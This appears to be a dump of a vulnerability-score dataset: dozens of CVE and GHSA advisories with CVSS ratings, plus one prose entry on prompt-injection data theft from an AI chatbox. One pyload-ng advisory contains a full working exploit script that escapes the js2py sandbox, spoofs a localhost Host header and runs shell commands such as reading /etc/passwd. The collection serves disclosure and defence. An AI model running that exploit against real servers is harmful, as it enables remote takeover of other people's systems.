ansulev/circl-vulnerability-scores huggingface dataset:
CVE-2013-1819: The _xfs_buf_find function in fs/xfs/xfs_buf.c in the Linux kernel before 3.7.6 does not validate block numbers, which allows local users to cause a denial of service (NULL pointer dereference and system crash) or possibly have unspecified other impact by leveraging the ability to mount an XFS filesystem containing a metadata inode with an invalid extent map.
CVSS v2.0: 4.6
GHSA-q7p9-49wg-x3hp: The pathname canonicalization functionality in io/filesystem/filesystem.cc in Widelands before 15.1 expands leading ~ (tilde) characters to home-directory pathnames but does not restrict use of these characters in strings received from the network, which might allow remote attackers to conduct absolute path traversal attacks and overwrite arbitrary files via a ~ in a pathname that is used for a file transfer in an Internet game, a different vulnerability than CVE-2011-1932.
GHSA-vw3p-m8x2-42w7: EMC RSA BSAFE Micro Edition Suite (MES) 4.0.x and 4.1.x before 4.1.5, RSA BSAFE Crypto-C Micro Edition (CCME) 4.0.x and 4.1.x before 4.1.3, RSA BSAFE Crypto-J before 6.2.1, RSA BSAFE SSL-J before 6.2.1, and RSA BSAFE SSL-C before 2.8.9 allow remote attackers to discover a private-key prime by conducting a Lenstra side-channel attack that leverages an application's failure to detect an RSA signature failure during a TLS session.
CVSS v3.0: 5.9
GHSA-8j54-jp96-7993: The WP Meta SEO WordPress plugin before 4.5.3 does not properly sanitize and escape inputs into SQL queries, leading to a blind SQL Injection vulnerability that can be exploited by subscriber+ users.
CVSS v3.1: 8.8
GHSA-543c-9vhf-865v: The Microsoft Server Message Block (SMB) Server in Windows 7 SP1, Windows 8.1 and RT 8.1, Windows Server 2008 SP2 and R2 SP1, Windows Server 2012 and R2, Windows 10 Gold, 1511, 1607, 1703 and 1709, Windows Server 2016 and Windows Server, version 1709 allows an elevation of privilege vulnerability due to the way SMB Server handles specially crafted files, aka "Windows Elevation of Privilege Vulnerability".
CVSS v3.0: 7.8
GHSA-x6hr-674c-qfc3: A security vulnerability has been detected in PHPGurukul Online Shopping Portal Project 2.1. This affects an unknown part of the file /my-profile.php of the component Parameter Handler. The manipulation of the argument fullname leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed publicly and may be used.
CVSS v4.0: 2.1
CVSS v3.1: 6.3
CVE-2025-40266: KVM: arm64: Check the untrusted offset in FF-A memory share
In the Linux kernel, the following vulnerability has been resolved:

KVM: arm64: Check the untrusted offset in FF-A memory share

Verify the offset to prevent OOB access in the hypervisor
FF-A buffer in case an untrusted large enough value
[U32_MAX - sizeof(struct ffa_composite_mem_region) + 1, U32_MAX]
is set from the host kernel.
GHSA-jrr5-hrp9-h4v6: A SQL injection vulnerability in Didotech srl Engineering & Lifecycle Management (aka pdm) v.14.0, v.15.0 and v.16.0 fixed in pdm-14.0.1.0.0, pdm-15.0.1.0.0, and pdm-16.0.1.0.0 allows a remote authenticated attacker to execute arbitrary code via the request parameter in models/base_client.py component.
CVSS v3.1: 8.8
PYSEC-2026-499: ### Summary
Any pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately.

### Details
js2py has a vulnerability of sandbox escape assigned as [CVE-2024-28397](https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape), which is used by the `/flash/addcrypted2` API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE.
 
### PoC

The PoC is provided as `poc.py` below, you can modify the shell command it execute:

 ```python
import socket
import base64
from urllib.parse import quote

host, port = input("host: "), int(input("port: "))

payload = """
// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;"
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
    return n11
}

"""

crypted_b64 = base64.b64encode(b"1234").decode()
 
data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}"

request = f"""\
POST /flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:9666
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(data)}

{data}
""".encode().replace(b"\n", b"\r\n")

def main():

    s = socket.socket()
    s.connect((host, port))

    s.send(request)
    response = s.recv(1024).decode()
    print(response)

if __name__ == "__main__":
    main()


```

### Impact

Anyone who runs the latest version (<=0.5.0b3.dev85) of  pyload-ng under python3.11 or below. pyload-ng doesn't use js2py for python3.12 or above.

CVSS v4.0: 9.3
CVSS v3.1: 9.8
GHSA-7vx4-j5mm-h4p8: Integer overflow in the Verifier::parseExceptionHandlers function in Adobe Flash Player before 10.0.42.34 and Adobe AIR before 1.5.3 allows remote attackers to execute arbitrary code via an SWF file with a large exception_count value that triggers memory corruption, related to "generation of ActionScript exception handlers."
GHSA-hgcp-jxj8-7mc9: The web interface in Cisco Unified Videoconferencing (UVC) System 3545, 5110, 5115, and 5230; Unified Videoconferencing 3527 Primary Rate Interface (PRI) Gateway; Unified Videoconferencing 3522 Basic Rate Interfaces (BRI) Gateway; and Unified Videoconferencing 3515 Multipoint Control Unit (MCU) uses predictable session IDs based on time values, which makes it easier for remote attackers to hijack sessions via a brute-force attack, aka Bug ID CSCti54048.
CVE-2019-6563: Moxa IKS and EDS generate a predictable cookie calculated with an MD5 hash, allowing an attacker to capture the administrator's password, which could lead to a full compromise of the device.
CVSS v3.1: 9.8
CVSS v2.0: 10
CVE-2024-5689: In addition to detecting when a user was taking a screenshot (XXX), a website was able to overlay the 'My Shots' button that appeared, and direct the user to a replica Firefox Screenshots page that could be used for phishing. This vulnerability affects Firefox < 127.
CVSS v3.1: 4.3
CVE-2003-1251: The (1) menu.inc.php, (2) datasets.php and (3) mass_operations.inc.php (mistakenly referred to as mass_opeations.inc.php) scripts in N/X 2002 allow remote attackers to execute arbitrary PHP code via a c_path that references a URL on a remote web server that contains the code.
CVSS v2.0: 7.5
CVE-2021-42564: An open redirect through HTML injection in confidential messages in Cryptshare before 5.1.0 allows remote attackers (with permission to provide confidential messages via Cryptshare) to redirect targeted victims to any URL via the '<meta http-equiv="refresh"' substring in the editor parameter.
CVSS v3.1: 5.4
CVSS v2.0: 4.9
CVE-2019-15150: In the OAuth2 Client extension before 0.4 for MediaWiki, a CSRF vulnerability exists due to the OAuth2 state parameter not being checked in the callback function.
CVSS v3.1: 8.8
CVSS v2.0: 6.8
CVE-2022-30449: Hospital Management System in PHP with Source Code (HMS) 1.0 was discovered to contain a SQL injection vulnerability via the editid parameter in room.php.
CVSS v3.1: 9.8
CVSS v2.0: 7.5
GHSA-jg4j-93v7-xg26: TOTOLINK Technology CPE with firmware V6.3c.566 ,allows remote attackers to bypass Login.
CVSS v3.1: 9.8
CVE-2021-43722: D-Link DIR-645 1.03 A1 is vulnerable to Buffer Overflow. The hnap_main function in the cgibin handler uses sprintf to format the soapaction header onto the stack and has no limit on the size.
CVSS v3.1: 9.8
CVSS v2.0: 7.5
GHSA-rvfv-82qg-gr7m: PHP remote file inclusion vulnerability in hit.php for Kietu 2.0 and 2.3 allows remote attackers to execute arbitrary PHP code via the url_hit parameter, a different vulnerability than CVE-2006-5015.
GHSA-r538-m2w5-77w4: VMware vCenter Server Appliance (vCSA) 5.1 before Update 1 allows remote authenticated users to create or overwrite arbitrary files, and consequently execute arbitrary code or cause a denial of service, by leveraging Virtual Appliance Management Interface (VAMI) web-interface access.
CVE-2012-5496: kupu_spellcheck.py in Kupu in Plone before 4.0 allows remote attackers to cause a denial of service (ZServer thread lock) via a crafted URL.
CVSS v2.0: 5
CVE-2021-24481: Any Hostname <= 1.0.6 - Authenticated Stored Cross-Site Scripting (XSS)
The Any Hostname WordPress plugin through 1.0.6 does not sanitise or escape its "Allowed hosts" setting, leading to an authenticated stored XSS issue as high privilege users are able to set XSS payloads in it
CVSS v3.1: 4.8
CVSS v2.0: 3.5
CVE-2024-37571: Buffer Overflow vulnerability in SAS Broker 9.2 build 1495 allows attackers to cause denial of service or obtain sensitive information via crafted payload to the '_debug' parameter.
CVSS v3.1: 4.3
CVE-2014-0174: Cumin (aka MRG Management Console), as used in Red Hat Enterprise MRG 2.5, does not include the HTTPOnly flag in a Set-Cookie header for the session cookie, which makes it easier for remote attackers to obtain potentially sensitive information via script access to this cookie.
CVSS v2.0: 4.3
CVE-2010-1362: Cross-site scripting (XSS) vulnerability in the Own Term module 6.x-1.0 for Drupal allows remote authenticated users, with "create additional terms" privileges, to inject arbitrary web script or HTML via the term description field in a term listing page.
CVSS v2.0: 2.1
GHSA-h5cf-xw55-j4wj: Dell PowerProtect Data Domain with Domain Operating System (DD OS) of Feature Release versions 7.7.1.0 through 8.6, LTS2025 release version 8.3.1.0 through 8.3.1.10, LTS2024 release versions 7.13.1.0 through 7.13.1.60, contain a stack-based Buffer Overflow vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to arbitrary command execution.
CVSS v3.1: 8.1
CVE-2016-6382: Cisco IOS 15.2 through 15.6 and IOS XE 3.6 through 3.17 and 16.1 allow remote attackers to cause a denial of service (device restart) via a malformed IPv6 Protocol Independent Multicast (PIM) register packet, aka Bug ID CSCuy16399.
CVSS v3.0: 7.5
CVSS v2.0: 7.8
GHSA-3q3f-6h94-9gg7: An issue discovered in Konga 0.14.9 allows remote attackers to manipulate user accounts regardless of privilege via crafted POST request.
CVSS v3.1: 6.5
GHSA-p9x8-f58c-q7wx: Vulnerability in the Oracle Business Intelligence Enterprise Edition component of Oracle Fusion Middleware (subcomponent: Analytics Web General). Supported versions that are affected are 11.1.1.7.0, 11.1.1.9.0, 12.2.1.1.0 and 12.2.1.2.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Business Intelligence Enterprise Edition accessible data as well as unauthorized read access to a subset of Oracle Business Intelligence Enterprise Edition accessible data. Note: Please refer to Doc ID <a href="http://support.oracle.com/CSP/main/article?cmd=show&type=NOT&id=2310021.1">My Oracle Support Note 2310021.1 for instructions on how to address this issue. CVSS 3.0 Base Score 6.3 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:N).
CVSS v3.0: 6.3
GHSA-h64q-p2cr-jmw7: This issue was addressed with improved checks This issue is fixed in iOS 17.2 and iPadOS 17.2, iOS 16.7.3 and iPadOS 16.7.3. A remote attacker may be able to cause a denial-of-service.
CVSS v3.1: 7.5
GHSA-f7q8-575j-gw72: VideoFlow Digital Video Protection DVP 2.10 contains an authenticated directory traversal vulnerability that allows authenticated attackers to disclose arbitrary files by injecting path traversal sequences in the ID parameter. Attackers can submit requests to downloadsys.pl, download_xml.pl, download.pl, downloadmib.pl, or downloadFile.pl with directory traversal payloads to read sensitive system files like /etc/passwd.
CVSS v4.0: 7.1
CVSS v3.1: 6.5
GHSA-ccwv-xvrq-5r56: A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The Gif_loader.dll library in affected applications lacks proper validation of user-supplied data when parsing GIF files. This could result in an out of bounds write past the end of an allocated structure. An attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-12956)
CVE-2007-2386: Buffer overflow in mDNSResponder in Apple Mac OS X 10.4 up to 10.4.9 allows remote attackers to cause a denial of service (application termination) or execute arbitrary code via a crafted UPnP Internet Gateway Device (IGD) packet.
CVSS v2.0: 9.4
GHSA-j2gg-fc46-32rv: Authorization bypass through User-Controlled key vulnerability in APPYAP Technology and Information Inc. Yaay Social Media App allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects Yaay Social Media App: from 3.8.0 through 24102025.
CVSS v3.1: 8.8
CVE-2022-24859: Manipulated inline images can cause Infinite Loop in PyPDF2
PyPDF2 is an open source python PDF library capable of splitting, merging, cropping, and transforming the pages of PDF files. In versions prior to 1.27.5 an attacker who uses this vulnerability can craft a PDF which leads to an infinite loop if the PyPDF2 if the code attempts to get the content stream. The reason is that the last while-loop in `ContentStream._readInlineImage` only terminates when it finds the `EI` token, but never actually checks if the stream has already ended. This issue has been resolved in version `1.27.5`. Users unable to upgrade should validate and PDFs prior to iterating over their content stream.
CVSS v3.1: 6.2
GHSA-9r7v-6wjc-j5fj: A prompt injection vulnerability in the chatbox of Netangular Technologies ChatNet AI Version v1.0 allows attackers to access and exfiltrate all previous and subsequent chat data between the user and the AI assistant via a crafted message.
CVSS v3.1: 9.1
GHSA-924x-9756-qq8p: Integer overflow in the (1) rb_ary_splice function in Ruby 1.8.4 and earlier, 1.8.5 before 1.8.5-p231, 1.8.6 before 1.8.6-p230, and 1.8.7 before 1.8.7-p22; and (2) the rb_ary_replace function in 1.6.x allows context-dependent attackers to trigger memory corruption via unspecified vectors, aka the "REALLOC_N" variant, a different issue than CVE-2008-2662, CVE-2008-2663, and CVE-2008-2664.  NOTE: as of 20080624, there has been inconsistent usage of multiple CVE identifiers related to Ruby. The CVE description should be regarded as authoritative, although it is likely to change.
GHSA-33wv-m292-g2pv: Microsoft Office Elevation of Privilege Vulnerability
CVSS v3.1: 7.8
GHSA-vf97-4vg7-22rv: A command injection vulnerability in the IPSec VPN feature of Zyxel ATP series firmware versions from V4.32 through V5.38, USG FLEX series firmware versions from V4.50 through V5.38, USG FLEX 50(W) series firmware versions from V4.16 through V5.38, and USG20(W)-VPN series firmware versions from V4.16 through V5.38 could allow an unauthenticated attacker to execute some OS commands on an affected device by sending a crafted username to the vulnerable device. Note that this attack could be successful only if the device was configured in User-Based-PSK authentication mode and a valid user with a long username exceeding 28 characters exists.
CVSS v3.1: 8.1
GHSA-chf6-hvqj-hp2j: In the Linux kernel, the following vulnerability has been resolved:ipmi: fix use after free in _ipmi_destroy_user()The intf_free() function frees the "intf" pointer so we cannot
dereference it again on the next line.
CVE-2005-3883: CRLF injection vulnerability in the mb_send_mail function in PHP before 5.1.0 might allow remote attackers to inject arbitrary e-mail headers via line feeds (LF) in the "To" address argument.
CVSS v2.0: 5
GHSA-hfmf-jm9p-89hg: Exposure of Sensitive Information to an Unauthorized Actor vulnerability in PeepSo Community by PeepSo.This issue affects Community by PeepSo: from n/a through 6.0.9.0.
CVSS v3.1: 5.3
CVE-2020-14555: Vulnerability in the Oracle Marketing product of Oracle E-Business Suite (component: Marketing Administration). Supported versions that are affected are 12.1.1-12.1.3 and 12.2.3-12.2.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Marketing. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Marketing, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Marketing accessible data. CVSS 3.1 Base Score 4.7 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N).
CVSS v3.1: 4.7
CVE-2021-42075: An issue was discovered in Barrier before 2.3.4. The barriers component (aka the server-side implementation of Barrier) does not correctly close file descriptors for established TCP connections. An unauthenticated remote attacker can thus cause file descriptor exhaustion in the server process, leading to denial of service.
CVSS v3.1: 7.5
CVSS v2.0: 5
GHSA-384c-q74f-g7hv: Missing authorization vulnerability exists in EOS series digital cameras (EOS-1D X firmware version 2.1.0 and earlier, EOS-1D X MKII firmware version 1.1.6 and earlier, EOS-1D C firmware version 1.4.1 and earlier, EOS 5D MARK III firmware version 1.3.5 and earlier, EOS 5D MARK IV firmware version 1.2.0 and earlier, EOS 5DS firmware version 1.1.2 and earlier, EOS 5DS R firmware version 1.1.2 and earlier, EOS 6D firmware version 1.1.8 and earlier, EOS 6D MARK II firmware version 1.0.4 and earlier, EOS 7D MARK II firmware version 1.1.2 and earlier, EOS 70 D firmware version 1.1.2 and earlier, EOS 80 D firmware version 1.0.2 and earlier, EOS KISS X7I / EOS D REBEL T5I / EOS 700D firmware version 1.1.5 and earlier, EOS KISS X8I / EOS D REBEL T6I / EOS 750D firmware version 1.0.0 and earlier, EOS KISS X9I / EOS D REBEL T7I / EOS 800D firmware version 1.0.1 and earlier, EOS KISS X7 / EOS D REBEL SL1 / EOS 100D firmware version 1.0.1 and earlier, EOS KISS X9 / EOS D REBEL SL2 / EOS 200D firmware version 1.0.1 and earlier, EOS KISS X10 / EOS D REBEL SL3 / EOS 200D / EOS 250D firmware version 1.0.1 and earlier, EOS 8000D / EOS D REBEL T6S / EOS 760D firmware version 1.0.0 and earlier, EOS 9000D / EOS 77D firmware version 1.0.2 and earlier, EOS KISS X70 / EOS D REBEL T5 / EOS 1200D firmware version 1.0.2 and earlier, EOS D REBEL T5 RE / EOS 1200D MG / EOS HI firmware version 1.0.2 and earlier, EOS KISS X80 / EOS D REBEL T6 / EOS 1300D firmware version 1.1.0 and earlier, EOS KISS X90 / EOS D REBEL T7 / EOS 1500D / EOS 2000D firmware version 1.0.0 and earlier, EOS D REBEL T100 / EOS 3000D / EOS 4000D firmware version 1.0.0 and earlier, EOS R firmware version 1.3.0 and earlier, EOS RP firmware version 1.2.0 and earlier, EOS RP GOLD firmware version 1.2.0 and earlier, EOS M2 firmware version 1.0.3 and earlier, EOS M3 firmware version 1.2.0 and earlier, EOS M5 firmware version 1.0.1 and earlier, EOS M6 firmware version 1.0.1 and earlier, EOS M6(China) firmware version 5.0.0 and earlier, EOS M10 firmware version 1.1.0 and earlier, EOS M100 firmware version 1.0.0 and earlier, EOS KISS M / EOS M50 firmware version 1.0.2 and earlier) and PowerShot SX740 HS firmware version 1.0.1 and earlier, PowerShot SX70 HS firmware version 1.1.0 and earlier, and PowerShot G5Xmark? firmware version 1.0.1 and earlier. A successful exploitation may result in a specially crafted firmware update or unofficial firmware update being applied without user's consent via unspecified vector.
GHSA-r7vr-m4jw-r794: Apache Airflow has an authorization bypass in DagRun wait endpoint
Apache Airflow versions 3.0.0 through 3.1.8 DagRun wait endpoint returns XCom result values even to users who only have DAG Run read permissions, such as the Viewer role.This behavior conflicts with the FAB RBAC model, which treats XCom as a separate protected resource, and with the security model documentation that defines the Viewer role as read-only.Airflow uses the FAB Auth Manager to manage access control on a per-resource basis. The Viewer role is intended to be read-only by default, and the security model documentation defines Viewer users as those who can inspect DAGs without accessing sensitive execution results.Users are recommended to upgrade to Apache Airflow 3.2.0 which resolves this issue.
CVSS v3.1: 6.5
CVE-2022-2385: AccessKeyID validation bypass
A security issue was discovered in aws-iam-authenticator where an allow-listed IAM identity may be able to modify their username and escalate privileges.
CVSS v3.1: 8.1
GHSA-qc9j-84j3-74vm: A vulnerability, which was classified as critical, has been found in PHPGurukul Zoo Management System 2.1. This issue affects some unknown processing of the file /admin/edit-animal-details.php. The manipulation of the argument aname leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well.
CVSS v4.0: 6.9
CVSS v3.1: 7.3
CVE-2024-12404: CF Internal Link Shortcode <= 1.1.0 - Unauthenticated SQL Injection
The CF Internal Link Shortcode plugin for WordPress is vulnerable to SQL Injection via the 'post_title' parameter in all versions up to, and including, 1.1.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS v3.1: 7.5
GHSA-v23q-qg5x-p624: A remote code execution vulnerability is present in network-listening components in some versions of ArubaOS. An attacker with the ability to transmit specially-crafted IP traffic to a mobility controller could exploit this vulnerability and cause a process crash or to execute arbitrary code within the underlying operating system with full system privileges. Such an attack could lead to complete system compromise. The ability to transmit traffic to an IP interface on the mobility controller is required to carry out an attack. The attack leverages the PAPI protocol (UDP port 8211). If the mobility controller is only bridging L2 traffic to an uplink and does not have an IP address that is accessible to the attacker, it cannot be attacked.
CVSS v3.1: 9.8